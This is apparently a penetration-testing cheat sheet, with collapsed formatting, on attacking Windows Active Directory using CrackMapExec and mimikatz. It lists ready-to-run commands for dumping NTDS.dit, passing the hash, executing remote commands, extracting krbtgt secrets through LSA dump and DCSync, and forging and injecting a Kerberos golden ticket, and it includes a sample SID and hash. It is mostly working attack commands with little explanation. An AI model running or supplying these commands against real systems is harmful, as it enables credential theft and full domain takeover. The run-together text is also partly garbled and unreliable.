secretscrackmapexecsmb<Rhost/range>-u'user'-p'password'--ntds#dumps NTDS.dit filecrackmapexecsmb<Rhost/range>-u'user'-p'password'--groups{groupname}#we can also run with a specific group and enumerated users of that group.crackmapexecsmb<Rhost/range>-u'user'-p'password'-x'command'#For executing commands, "-x" for cmd and "-X" for powershell command#Pass the hashcrackmapexecsmb<iporrange>-uusername-H<fullhash>--local-auth#We can run all the above commands with hash and obtain more information#crackmapexec modulescrackmapexecsmb-L#listing modulescrackmapexecsmb-Mmimikatx--options#shows the required options for the modulecrackmapexecsmb<Rhost>-u'user'-p'password'-Mmimikatz#runs default commandcrackmapexecsmb<Rhost>-u'user'-p'password'-Mmimikatz-oCOMMAND='privilege::debug'#runs specific command-M
Crackmapexec database
1
2
cmedb #to launch the consolehelp#run this command to view some others, running individual commands give infor on all the data till now we did.
.\mimikatz.exeprivilege::debug#below are some wayslsadump::lsa/inject/name:krbtgtlsadump::lsa/patchlsadump::dcsync/user:krbtgtkerberos::purge#removes any exisiting tickets#sample commandkerberos::golden/user:sathvik/domain:evilcorp.com/sid:S-1-5-21-510558963-1698214355-4094250843/krbtgt:4b4412bbe7b3a88f5b0537ac0d2bf296/ticket:golden#Saved with name "golden" here, there are other options to check as well
Obtaining access!
1
2
3
mimikatz.exe#no need for highest privilegeskerberos::pttgoldenmisc::cmd#we're accessing cmd
